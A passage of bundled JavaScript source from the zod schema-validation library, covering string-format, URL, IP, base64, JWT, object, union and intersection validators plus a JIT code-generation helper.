};\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n	constructor(args = [], closed = {}) {\n		this.content = [];\n		this.indent = 0;\n		this.args = args;\n		this.closed = closed;\n	}\n	indented(fn) {\n		this.indent += 1;\n		try {\n			fn(this);\n		} finally {\n			this.indent -= 1;\n		}\n	}\n	write(arg) {\n		if (typeof arg === \"function\") {\n			arg(this, { execution: \"sync\" });\n			arg(this, { execution: \"async\" });\n			return;\n		}\n		const lines = arg.split(\"\\n\").filter((x) => x);\n		const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n		const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n		for (const line of dedented) this.content.push(line);\n	}\n	compile() {\n		const F = Function;\n		const content = this?.content ?? [``];\n		return new F(...Object.keys(this.closed), `return function (${this.args.join(\", \")}) {\\n${content.join(\"\\n\")}\\n};`)(...Object.values(this.closed));\n	}\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/versions.js\nconst version = {\n	major: 4,\n	minor: 6,\n	patch: 5\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n	var _a;\n	inst ?? (inst = {});\n	inst._zod.def = def;\n	inst._zod.bag = inst._zod.bag || {};\n	inst._zod.version = version;\n	const defChecks = inst._zod.def.checks;\n	const checks = inst._zod.traits.has(\"$ZodCheck\") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : [];\n	for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n	if (checks.length === 0) {\n		(_a = inst._zod).deferred ?? (_a.deferred = []);\n		inst._zod.deferred?.push(() => {\n			inst._zod.run = inst._zod.parse;\n		});\n	} else {\n		const runChecks = (payload, checks, ctx) => {\n			if (payload.memo) return payload;\n			let isAborted = aborted(payload);\n			let asyncResult;\n			for (const ch of checks) {\n				if (ch._zod.def.when) {\n					if (explicitlyAborted(payload)) continue;\n					if (!ch._zod.def.when(payload)) continue;\n				} else if (isAborted) continue;\n				const currLen = payload.issues.length;\n				const _ = ch._zod.check(payload);\n				if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n				if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n					await _;\n					if (payload.issues.length === currLen) return;\n					attachSchema(payload.issues, currLen, inst);\n					if (!isAborted) isAborted = aborted(payload, currLen);\n				});\n				else {\n					if (payload.issues.length === currLen) continue;\n					attachSchema(payload.issues, currLen, inst);\n					if (!isAborted) isAborted = aborted(payload, currLen);\n				}\n			}\n			if (asyncResult) return asyncResult.then(() => {\n				return payload;\n			});\n			return payload;\n		};\n		const handleCanaryResult = (canary, payload, ctx) => {\n			if (aborted(canary)) {\n				canary.aborted = true;\n				return canary;\n			}\n			const checkResult = runChecks(payload, checks, ctx);\n			if (checkResult instanceof Promise) {\n				if (ctx.async === false) throw new $ZodAsyncError();\n				return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n			}\n			return inst._zod.parse(checkResult, ctx);\n		};\n		inst._zod.run = (payload, ctx) => {\n			if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n			if (ctx.direction === \"backward\") {\n				const canary = inst._zod.parse({\n					value: payload.value,\n					issues: []\n				}, {\n					...ctx,\n					skipChecks: true\n				});\n				if (canary instanceof Promise) return canary.then((canary) => {\n					return handleCanaryResult(canary, payload, ctx);\n				});\n				return handleCanaryResult(canary, payload, ctx);\n			}\n			const result = inst._zod.parse(payload, ctx);\n			if (result instanceof Promise) {\n				if (ctx.async === false) throw new $ZodAsyncError();\n				return result.then((result) => runChecks(result, checks, ctx));\n			}\n			return runChecks(result, checks, ctx);\n		};\n	}\n}, {\n	get \"~standard\"() {\n		return hide(this, \"~standard\", standardProps(this));\n	},\n	set \"~standard\"(value) {\n		own(this, \"~standard\", value);\n	}\n});\n/** The Standard Schema surface for `inst`. Shared so wrappers can extend it without forcing it. */\nconst toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value };\nasync function validateAsync(inst, value) {\n	const ctx = { async: true };\n	return toStandardResult(await inst._zod.run({\n		value,\n		issues: []\n	}, ctx), ctx);\n}\nfunction standardProps(inst) {\n	return {\n		validate: (value) => {\n			const ctx = { async: false };\n			try {\n				const r = inst._zod.run({\n					value,\n					issues: []\n				}, ctx);\n				if (!(r instanceof Promise)) return toStandardResult(r, ctx);\n			} catch (_) {}\n			return validateAsync(inst, value);\n		},\n		vendor: \"zod\",\n		version: 1\n	};\n}\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.pattern = def.pattern ?? anyString;\n	inst._zod.parse = (payload, _) => {\n		if (def.coerce) try {\n			payload.value = String(payload.value);\n		} catch (_) {}\n		if (typeof payload.value === \"string\") return payload;\n		payload.issues.push({\n			expected: \"string\",\n			code: \"invalid_type\",\n			input: payload.value,\n			inst\n		});\n		return payload;\n	};\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n	$ZodCheckStringFormat.init(inst, def);\n	$ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n	def.pattern ?? (def.pattern = guid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n	if (def.version) {\n		const v = {\n			v1: 1,\n			v2: 2,\n			v3: 3,\n			v4: 4,\n			v5: 5,\n			v6: 6,\n			v7: 7,\n			v8: 8\n		}[def.version];\n		if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n		def.pattern ?? (def.pattern = uuid(v));\n	} else def.pattern ?? (def.pattern = uuid());\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n	def.pattern ?? (def.pattern = email);\n	$ZodStringFormat.init(inst, def);\n});\n/** The `://` guard rejected the input before the URL constructor saw it. */\nconst URL_BAD_FORMAT = 1;\n/** The URL parser rejected the input. */\nconst URL_UNPARSEABLE = 2;\nfunction canParseURL(input) {\n	try {\n		if (typeof URL !== \"undefined\" && typeof URL.canParse === \"function\") return URL.canParse(input);\n		new URL(input);\n		return true;\n	} catch {\n		return false;\n	}\n}\nfunction validateURL(trimmed, def) {\n	if (!(\"normalize\" in def) && !(\"hostname\" in def) && !(\"protocol\" in def)) return canParseURL(trimmed) || 2;\n	return parseURLObject(trimmed, def);\n}\n/** Parses a URL while preserving the non-normalizing HTTP guard. */\nfunction parseURLObject(trimmed, def) {\n	if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\\/\\//i.test(trimmed)) return 1;\n	try {\n		if (typeof URL !== \"undefined\") {\n			const URLStatic = URL;\n			if (typeof URLStatic.parse === \"function\") return URLStatic.parse(trimmed) ?? 2;\n		}\n		return new URL(trimmed);\n	} catch {\n		return 2;\n	}\n}\nconst asciiTabOrNewline = /[\\t\\n\\r]/g;\n/** The URL parser deletes every ASCII tab, LF and CR from its input before it parses, so `new URL(\"https://exa\\nmple.com\")` reports on `example.com`. Applying the same deletion to the returned value closes the half of that divergence which can move the host; the parser's other rewrite, stripping C0 controls at the edges, cannot. */\nfunction stripTabAndNewline(value) {\n	return value.replace(asciiTabOrNewline, \"\");\n}\nfunction urlHostnameOk(url, hostname) {\n	hostname.lastIndex = 0;\n	return hostname.test(url.hostname);\n}\nfunction urlProtocolOk(url, protocol) {\n	protocol.lastIndex = 0;\n	return protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol);\n}\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		try {\n			const trimmed = payload.value.trim();\n			const url = validateURL(trimmed, def);\n			if (url === 1) {\n				payload.issues.push({\n					code: \"invalid_format\",\n					format: \"url\",\n					note: \"Invalid URL format\",\n					input: payload.value,\n					inst,\n					continue: !def.abort\n				});\n				return;\n			}\n			if (url === 2) {\n				payload.issues.push({\n					code: \"invalid_format\",\n					format: \"url\",\n					input: payload.value,\n					inst,\n					continue: !def.abort\n				});\n				return;\n			}\n			if (url === true) {\n				payload.value = stripTabAndNewline(trimmed);\n				return;\n			}\n			if (def.hostname && !urlHostnameOk(url, def.hostname)) payload.issues.push({\n				code: \"invalid_format\",\n				format: \"url\",\n				note: \"Invalid hostname\",\n				pattern: def.hostname.source,\n				input: payload.value,\n				inst,\n				continue: !def.abort\n			});\n			if (def.protocol && !urlProtocolOk(url, def.protocol)) payload.issues.push({\n				code: \"invalid_format\",\n				format: \"url\",\n				note: \"Invalid protocol\",\n				pattern: def.protocol.source,\n				input: payload.value,\n				inst,\n				continue: !def.abort\n			});\n			payload.value = def.normalize ? url.href : stripTabAndNewline(trimmed);\n			return;\n		} catch (_) {\n			payload.issues.push({\n				code: \"invalid_format\",\n				format: \"url\",\n				input: payload.value,\n				inst,\n				continue: !def.abort\n			});\n		}\n	};\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n	def.pattern ?? (def.pattern = emoji());\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n	if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) throw new Error(`Invalid nanoid length: ${def.length}`);\n	def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length));\n	$ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n	def.pattern ?? (def.pattern = cuid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n	def.pattern ?? (def.pattern = cuid2);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n	def.pattern ?? (def.pattern = ulid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n	def.pattern ?? (def.pattern = xid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n	def.pattern ?? (def.pattern = ksuid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n	def.pattern ?? (def.pattern = datetime(def));\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n	def.pattern ?? (def.pattern = date);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n	def.pattern ?? (def.pattern = time(def));\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n	def.pattern ?? (def.pattern = duration);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n	def.pattern ?? (def.pattern = ipv4);\n	$ZodStringFormat.init(inst, def);\n});\n/** An IPv6 address is written with hex digits, colons and dots, and nothing else. The guard is what makes the check below an IPv6 check: `new URL(\"http://[...]\")` parses an authority, not an address, so `@` and `\\` re-delimit it and `\"::@1\\\\\"` validates against the host `0.0.0.1`. The URL parser also deletes ASCII tab, LF and CR rather than failing, which is how `\"::1\\n\"` validated as `::1`. */\nconst ipv6Alphabet = /^[0-9a-fA-F:.]+$/;\nfunction isValidIPv6(value) {\n	if (!ipv6Alphabet.test(value)) return false;\n	return canParseURL(`http://[${value}]`);\n}\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n	def.pattern ?? (def.pattern = ipv6);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (!isValidIPv6(payload.value)) payload.issues.push({\n			code: \"invalid_format\",\n			format: \"ipv6\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n	def.pattern ?? (def.pattern = cidrv4);\n	$ZodStringFormat.init(inst, def);\n});\nfunction isValidCIDRv6(value) {\n	const parts = value.split(\"/\");\n	if (parts.length !== 2) return false;\n	const [address, prefix] = parts;\n	if (!prefix) return false;\n	const prefixNum = Number(prefix);\n	if (`${prefixNum}` !== prefix) return false;\n	if (prefixNum < 0 || prefixNum > 128) return false;\n	return isValidIPv6(address);\n}\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n	def.pattern ?? (def.pattern = cidrv6);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (!isValidCIDRv6(payload.value)) payload.issues.push({\n			code: \"invalid_format\",\n			format: \"cidrv6\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nfunction isValidBase64(data) {\n	if (data === \"\") return true;\n	if (/\\s/.test(data)) return false;\n	if (data.length % 4 !== 0) return false;\n	try {\n		atob(data);\n		return true;\n	} catch {\n		return false;\n	}\n}\nconst base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/;\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n	def.pattern ?? (def.pattern = base64Charset);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (isValidBase64(payload.value)) return;\n		payload.issues.push({\n			code: \"invalid_format\",\n			format: \"base64\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst base64urlCharset = /^[A-Za-z0-9_-]*$/;\nfunction isValidBase64URL(data) {\n	if (!base64urlCharset.test(data)) return false;\n	const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n	return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n	def.pattern ?? (def.pattern = base64urlCharset);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (isValidBase64URL(payload.value)) return;\n		payload.issues.push({\n			code: \"invalid_format\",\n			format: \"base64url\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n	def.pattern ?? (def.pattern = e164);\n	$ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n	try {\n		const tokensParts = token.split(\".\");\n		if (tokensParts.length !== 3) return false;\n		const [header] = tokensParts;\n		if (!header) return false;\n		const parsedHeader = JSON.parse(atob(header));\n		if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n		if (!parsedHeader.alg) return false;\n		if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n		return true;\n	} catch {\n		return false;\n	}\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (isValidJWT(payload.value, def.alg)) return;\n		payload.issues.push({\n			code: \"invalid_format\",\n			format: \"jwt\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload, _ctx) => {\n		payload.issues.push({\n			expected: \"never\",\n			code: \"invalid_type\",\n			input: payload.value,\n			inst\n		});\n		return payload;\n	};\n});\nfunction handleArrayResult(result, final, index) {\n	if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n	final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const memo = globalConfig.memoizer;\n	memo?.attach(inst);\n	inst._zod.parse = (payload, ctx) => {\n		const input = payload.value;\n		if (!Array.isArray(input)) {\n			payload.issues.push({\n				expected: \"array\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		payload.value = memo ? memo.alloc(inst, payload, Array(input.length), ctx) : Array(input.length);\n		const proms = [];\n		const abortEarly = ctx?.abortEarly;\n		for (let i = 0; i < input.length; i++) {\n			const item = input[i];\n			const result = def.element._zod.run({\n				value: item,\n				issues: []\n			}, ctx);\n			if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n			else {\n				handleArrayResult(result, payload, i);\n				if (abortEarly && result.issues.length !== 0 && aborted(result)) break;\n			}\n		}\n		if (proms.length) return Promise.all(proms).then(() => payload);\n		return payload;\n	};\n});\nfunction handlePropertyResult(result, final, key, input, optin, optout) {\n	const isPresent = key in input;\n	const isOptionalOut = optout === \"optional\";\n	if (!isPresent && isOptionalOut && optin === \"optional\") return;\n	if (result.issues.length) {\n		if (optin !== void 0 && isOptionalOut && !isPresent) return;\n		final.issues.push(...prefixIssues(key, result.issues));\n	}\n	if (!isPresent && optin === void 0) {\n		if (!result.issues.length) final.issues.push({\n			code: \"invalid_type\",\n			expected: \"nonoptional\",\n			input: void 0,\n			path: [key]\n		});\n		return;\n	}\n	if (result.value === void 0) {\n		if (isPresent || optin === \"defaulted\" && !isOptionalOut) final.value[key] = void 0;\n	} else final.value[key] = result.value;\n}\nconst NO_SYMBOL_KEYS = [];\nfunction normalizeDef(def) {\n	const keys = Object.keys(def.shape);\n	const ownSymbols = Object.getOwnPropertySymbols(def.shape);\n	const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS;\n	const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys;\n	for (const k of allKeys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${String(k)}\": expected a Zod schema`);\n	const okeys = optionalKeys(def.shape);\n	return {\n		...def,\n		allKeys,\n		symbolKeys,\n		keySet: new Set(keys),\n		numKeys: keys.length,\n		optionalKeys: new Set(okeys)\n	};\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst, abortEarly) {\n	const unrecognized = [];\n	const keySet = def.keySet;\n	const _catchall = def.catchall._zod;\n	const t = _catchall.def.type;\n	const optin = _catchall.optin;\n	const optout = _catchall.optout;\n	let seen = 0;\n	for (const key in input) {\n		if (abortEarly && payload.issues.length !== seen) {\n			if (aborted(payload, seen)) break;\n			seen = payload.issues.length;\n		}\n		if (keySet.has(key)) continue;\n		if (key === \"__proto__\") {\n			if (t === \"never\") unrecognized.push(key);\n			continue;\n		}\n		if (t === \"never\") {\n			unrecognized.push(key);\n			continue;\n		}\n		const r = _catchall.run({\n			value: input[key],\n			issues: []\n		}, ctx);\n		if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, optin, optout)));\n		else handlePropertyResult(r, payload, key, input, optin, optout);\n	}\n	if (unrecognized.length) payload.issues.push({\n		code: \"unrecognized_keys\",\n		keys: unrecognized,\n		input,\n		inst,\n		continue: true\n	});\n	if (!proms.length) return payload;\n	return Promise.all(proms).then(() => {\n		return payload;\n	});\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const desc = Object.getOwnPropertyDescriptor(def, \"shape\");\n	const sh = desc?.get ? desc.get.raw : def.shape ?? {};\n	if (sh) {\n		const get = () => {\n			const newSh = { ...sh };\n			Object.defineProperty(def, \"shape\", { value: newSh });\n			get.raw = newSh;\n			return newSh;\n		};\n		get.raw = sh;\n		Object.defineProperty(def, \"shape\", { get });\n	}\n	const _normalized = cached(() => normalizeDef(def));\n	defineLazyInternal(inst, \"propValues\", (zod) => {\n		const shape = zod.def.shape;\n		const propValues = {};\n		for (const key in shape) {\n			const field = shape[key]._zod;\n			if (field.values) {\n				if (!Object.prototype.hasOwnProperty.call(propValues, key)) assignProp(propValues, key, /* @__PURE__ */ new Set());\n				for (const v of field.values) propValues[key].add(v);\n				if (field.optin !== void 0) propValues[key].add(void 0);\n			}\n		}\n		return propValues;\n	});\n	const isObject$2 = isObject;\n	const catchall = def.catchall;\n	let value;\n	const memo = globalConfig.memoizer;\n	memo?.attach(inst);\n	inst._zod.parse = (payload, ctx) => {\n		value ?? (value = _normalized.value);\n		const input = payload.value;\n		if (!isObject$2(input)) {\n			payload.issues.push({\n				expected: \"object\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		payload.value = memo ? memo.alloc(inst, payload, {}, ctx) : {};\n		const proms = [];\n		const shape = value.shape;\n		const abortEarly = ctx?.abortEarly;\n		let seen = payload.issues.length;\n		for (const key of value.allKeys) {\n			if (abortEarly && payload.issues.length !== seen) {\n				if (aborted(payload, seen)) break;\n				seen = payload.issues.length;\n			}\n			if (key === \"__proto__\") continue;\n			const el = shape[key];\n			const optin = el._zod.optin;\n			const optout = el._zod.optout;\n			const r = el._zod.run({\n				value: input[key],\n				issues: []\n			}, ctx);\n			if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, optin, optout)));\n			else handlePropertyResult(r, payload, key, input, optin, optout);\n		}\n		if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n		return handleCatchall(proms, input, payload, ctx, _normalized.value, inst, abortEarly === true);\n	};\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n	$ZodObject.init(inst, def);\n	const superParse = inst._zod.parse;\n	const _normalized = cached(() => normalizeDef(def));\n	const memo = globalConfig.memoizer;\n	const generateFastpass = (shape) => {\n		const normalized = _normalized.value;\n		const syms = normalized.symbolKeys;\n		const doc = new Doc([\"payload\", \"ctx\"], {\n			shape,\n			inst,\n			memo,\n			syms\n		});\n		const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n		const prefixStr = (id, k) => `\n          let ${id}_ab = false;\n          for (let i = 0; i < ${id}.issues.length; i++) {\n            const iss = ${id}.issues[i];\n            iss.path = iss.path ? [${k}, ...iss.path] : [${k}];\n            payload.issues.push(iss);\n            if (iss.continue !== true) ${id}_ab = true;\n          }\n          if (${id}_ab && ctx && ctx.abortEarly) {\n            payload.value = newResult;\n            return payload;\n          }`;\n		doc.write(`const input = payload.value;`);\n		const ids = Object.create(null);\n		let counter = 0;\n		for (const key of normalized.allKeys) ids[key] = `key_${counter++}`;\n		doc.write(memo ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`);\n		for (const key of normalized.allKeys) {\n			if (key === \"__proto__\") continue;\n			const id = ids[key];\n			const k = typeof key === \"symbol\" ? `syms[${syms.indexOf(key)}]` : esc(key);\n			const isPresent = `${k} in input`;\n			const schema = shape[key];\n			const optin = schema?._zod?.optin;\n			const isOptionalIn = optin !== void 0;\n			const isOptionalOut = schema?._zod?.optout === \"optional\";\n			doc.write(`const ${id} = ${parseStr(k)};`);\n			if (isOptionalIn && isOptionalOut) {\n				const assign = optin === \"optional\" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`;\n				doc.write(`\n        const ${id}_present = ${isPresent};\n        if (!${id}.issues.length || ${id}_present) {\n          if (${id}.issues.length) {${prefixStr(id, k)}\n          }\n\n          if (${assign}) {\n            newResult[${k}] = ${id}.value;\n          }\n        }\n\n      `);\n			} else if (!isOptionalIn) doc.write(`\n        const ${id}_present = ${isPresent};\n        if (${id}.issues.length) {${prefixStr(id, k)}\n        }\n        if (!${id}_present && !${id}.issues.length) {\n          payload.issues.push({\n            code: \"invalid_type\",\n            expected: \"nonoptional\",\n            input: undefined,\n            path: [${k}]\n          });\n          if (ctx && ctx.abortEarly) {\n            payload.value = newResult;\n            return payload;\n          }\n        }\n\n        if (${id}_present) {\n          newResult[${k}] = ${id}.value;\n        }\n\n      `);\n			else {\n				doc.write(`\n        if (${id}.issues.length) {${prefixStr(id, k)}\n        }\n      `);\n				if (optin === \"defaulted\") doc.write(`newResult[${k}] = ${id}.value;`);\n				else doc.write(`\n        if (${id}.value !== undefined || ${isPresent}) {\n          newResult[${k}] = ${id}.value;\n        }\n      `);\n			}\n		}\n		doc.write(`payload.value = newResult;`);\n		doc.write(`return payload;`);\n		return doc.compile();\n	};\n	let fastpass;\n	const isObject$1 = isObject;\n	const jit = !globalConfig.jitless;\n	const allowsEval$1 = allowsEval;\n	const fastEnabled = jit && allowsEval$1.value;\n	const catchall = def.catchall;\n	let value;\n	inst._zod.parse = (payload, ctx) => {\n		value ?? (value = _normalized.value);\n		const input = payload.value;\n		if (!isObject$1(input)) {\n			payload.issues.push({\n				expected: \"object\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n			if (!fastpass) fastpass = generateFastpass(def.shape);\n			payload = fastpass(payload, ctx);\n			if (!catchall) return payload;\n			return handleCatchall([], input, payload, ctx, value, inst, ctx?.abortEarly === true);\n		}\n		return superParse(payload, ctx);\n	};\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n	for (const result of results) if (result.issues.length === 0) {\n		final.value = result.value;\n		return final;\n	}\n	const nonaborted = results.filter((r) => !aborted(r));\n	if (nonaborted.length === 1) {\n		final.value = nonaborted[0].value;\n		return nonaborted[0];\n	}\n	final.issues.push({\n		code: \"invalid_union\",\n		input: final.value,\n		inst,\n		errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n	});\n	return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.options.some((o) => o._zod.optin === \"defaulted\") ? \"defaulted\" : zod.def.options.some((o) => o._zod.optin !== void 0) ? \"optional\" : void 0);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n	defineLazyInternal(inst, \"values\", (zod) => {\n		if (zod.def.options.every((o) => o._zod.values)) return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values)));\n	});\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		if (zod.def.options.every((o) => o._zod.pattern)) {\n			const patterns = zod.def.options.map((o) => o._zod.pattern);\n			return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n		}\n	});\n	const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n	inst._zod.parse = (payload, ctx) => {\n		if (first) return first(payload, ctx);\n		let async = false;\n		const results = [];\n		for (const option of def.options) {\n			const result = option._zod.run({\n				value: payload.value,\n				issues: []\n			}, ctx);\n			if (result instanceof Promise) {\n				results.push(result);\n				async = true;\n			} else {\n				if (result.issues.length === 0) return result;\n				results.push(result);\n			}\n		}\n		if (!async) return handleUnionResults(results, payload, inst, ctx);\n		return Promise.all(results).then((results) => {\n			return handleUnionResults(results, payload, inst, ctx);\n		});\n	};\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload, ctx) => {\n		const input = payload.value;\n		const left = def.left._zod.run({\n			value: input,\n			issues: []\n		}, ctx);\n		const right = def.right._zod.run({\n			value: input,\n			issues: []\n		}, ctx);\n		if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n			return handleIntersectionResults(payload, left, right);\n		});\n		return handleIntersectionResults(payload, left, right);\n	};\n});\nfunction mergeValues(a, b) {\n	if (a === b) return {\n		valid: true,\n		data: a\n	};\n	if (a instanceof Date && b instanceof Date && +a === +b) return {\n		valid: true,\n		data: a\n	};\n	if (isPlainObject(a) && isPlainObject(b)) {\n		const bKeys = Object.keys(b);\n		const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n		const newObj = {\n			...a,\n			...b\n		};\n		if (Object.prototype.hasOwnProperty.call(newObj, \"__proto__\")) delete newObj.__proto__;\n		for (const key of sharedKeys) {\n			if (key === \"__proto__\") continue;\n			const sharedValue = mergeValues(a[key], b[key]);\n			if (!sharedValue.valid) return {\n				valid: false,\n				mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n			};\n			newObj[key] = sharedValue.data;\n		}\n		return {\n			valid: true,\n			data: newObj\n		};\n	}\n	if (Array.isArray(a) && Array.isArray(b)) {\n		if (a.length !== b.length) return {\n			valid: false,\n			mergeErrorPath: []\n		};\n		